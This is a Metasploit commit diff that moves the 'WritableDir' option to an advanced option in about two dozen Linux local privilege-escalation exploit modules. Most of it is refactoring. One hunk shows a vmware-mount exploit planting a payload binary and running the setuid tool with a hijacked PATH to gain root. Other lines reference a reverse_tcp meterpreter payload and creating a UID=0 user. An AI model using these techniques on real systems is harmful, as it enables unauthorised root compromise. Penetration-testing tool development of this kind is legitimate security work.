Land #10783, Make WritableDir an advanced option

GSoC/Meterpreter_Web_Console
Brent Cook 2018-10-10 09:41:47 -05:00
commit 79add20180
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
25 changed files with 100 additions and 72 deletions

View File

@ -61,9 +61,11 @@ class MetasploitModule < Msf::Exploit::Local
register_options( register_options(
[ [
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]), OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]), OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ])
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]) ])
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end end
def base_dir def base_dir

View File

@ -70,8 +70,10 @@ class MetasploitModule < Msf::Exploit::Local
)) ))
register_options [ register_options [
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]), OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
] ]
end end

View File

@ -68,8 +68,10 @@ class MetasploitModule < Msf::Exploit::Local
], ],
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options [ register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
] ]
end end

View File

@ -65,10 +65,9 @@ class MetasploitModule < Msf::Exploit::Local
[ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ] [ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
] ]
)) ))
register_options( register_advanced_options [
[ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]
])
end end
def base_dir def base_dir

View File

@ -90,7 +90,9 @@ class MetasploitModule < Msf::Exploit::Local
} }
)) ))
register_options [ register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
] ]
end end

View File

@ -52,10 +52,9 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultTarget' => 0, 'DefaultTarget' => 0,
} }
)) ))
register_advanced_options [
register_options([ OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']), ]
])
end end
def check def check

View File

@ -78,11 +78,12 @@ class MetasploitModule < Msf::Exploit::Local
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ] [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
] ]
)) ))
register_options( register_options [
[ OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ])
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]), ]
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) register_advanced_options [
]) OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end end
def base_dir def base_dir

View File

@ -69,11 +69,12 @@ class MetasploitModule < Msf::Exploit::Local
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ] [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
] ]
)) ))
register_options( register_options [
[ OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ])
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]), ]
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) register_advanced_options [
]) OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end end
def base_dir def base_dir

View File

@ -61,8 +61,10 @@ class MetasploitModule < Msf::Exploit::Local
} }
)) ))
register_options [ register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
] ]
end end

View File

@ -44,9 +44,9 @@ class MetasploitModule < Msf::Exploit::Local
'SessionTypes' => [ 'shell', 'meterpreter' ], 'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]], 'Targets' => [[ 'Auto', {} ]],
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options([ register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]) ]
end end
def base_dir def base_dir

View File

@ -75,7 +75,9 @@ class MetasploitModule < Msf::Exploit::Local
)) ))
register_options [ register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('PASSWORD', [ true, 'Password for the current user', '' ]), OptString.new('PASSWORD', [ true, 'Password for the current user', '' ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
] ]
end end

View File

@ -49,13 +49,14 @@ class MetasploitModule < Msf::Exploit::Local
[ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c'] [ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']
] ]
)) ))
register_options( register_options [
[ OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]), ]
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) register_advanced_options [
]) OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
]
end end
def check def check

View File

@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Local
'PrependFork' => true 'PrependFork' => true
}, },
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options [ register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
] ]
end end

View File

@ -47,9 +47,9 @@ class MetasploitModule < Msf::Exploit::Local
'Privileged' => true 'Privileged' => true
} }
)) ))
register_options([ register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]) ]
end end
def check def check

View File

@ -55,11 +55,12 @@ class MetasploitModule < Msf::Exploit::Local
[ 'CVE', '2015-8660'] [ 'CVE', '2015-8660']
] ]
)) ))
register_options( register_options [
[ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), ]
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) register_advanced_options [
]) OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
]
end end
def check def check

View File

@ -54,11 +54,13 @@ class MetasploitModule < Msf::Exploit::Local
'DisclosureDate' => "Apr 01 2011" 'DisclosureDate' => "Apr 01 2011"
)) ))
register_options([ register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]), OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]), OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]) OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ])
]) ])
register_advanced_options [
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
]
end end
def executable_path def executable_path

View File

@ -61,8 +61,10 @@ class MetasploitModule < Msf::Exploit::Local
} }
)) ))
register_options [ register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
] ]
end end

View File

@ -51,7 +51,9 @@ class MetasploitModule < Msf::Exploit::Local
], ],
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options [ register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]) OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
] ]
end end

View File

@ -66,9 +66,11 @@ class MetasploitModule < Msf::Exploit::Local
'DisclosureDate' => 'Aug 13 2009', 'DisclosureDate' => 'Aug 13 2009',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options [ register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ]) OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
] ]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
]
end end
def base_dir def base_dir

View File

@ -47,11 +47,12 @@ class MetasploitModule < Msf::Exploit::Local
} }
)) ))
register_options([ register_options [
# These are not OptPath becuase it's a *remote* path OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ])
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), ]
OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]), register_advanced_options [
]) OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ])
]
end end
def check def check

View File

@ -50,10 +50,12 @@ class MetasploitModule < Msf::Exploit::Local
'DisclosureDate' => "Apr 16 2009", 'DisclosureDate' => "Apr 16 2009",
} }
)) ))
register_options([ register_options [
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ])
OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]), ]
]) register_advanced_options [
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
]
end end
def exploit def exploit

View File

@ -67,7 +67,9 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options [ register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
] ]
end end

View File

@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Local
'Arch' => [ ARCH_X86, ARCH_X64 ], 'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ], 'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true )) 'Privileged' => true ))
register_options [ register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
] ]
end end

View File

@ -51,9 +51,9 @@ class MetasploitModule < Msf::Exploit::Local
'DisclosureDate' => "Aug 22 2013" 'DisclosureDate' => "Aug 22 2013"
} }
)) ))
register_options([ register_advanced_options [
OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]), OptString.new("WritableDir", [ true, "A directory where you can write files.", "/tmp" ])
]) ]
end end
def check def check
@ -69,10 +69,10 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid") fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
end end
lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release') lsb_path = File.join(datastore['WritableDir'], 'lsb_release')
write_file(lsb_path, generate_payload_exe) write_file(lsb_path, generate_payload_exe)
cmd_exec("chmod +x #{lsb_path}") cmd_exec("chmod +x #{lsb_path}")
cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount") cmd_exec("PATH=#{datastore['WritableDir']}:$PATH /usr/bin/vmware-mount")
# Delete it here instead of using FileDropper because the original # Delete it here instead of using FileDropper because the original
# session can clean it up # session can clean it up
cmd_exec("rm -f #{lsb_path}") cmd_exec("rm -f #{lsb_path}")

View File

@ -36,11 +36,12 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultTarget' => 0, 'DefaultTarget' => 0,
} }
)) ))
register_options([ register_options [
# These are not OptPath becuase it's a *remote* path OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ])
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), ]
OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]), register_advanced_options [
]) OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ])
]
end end
def check def check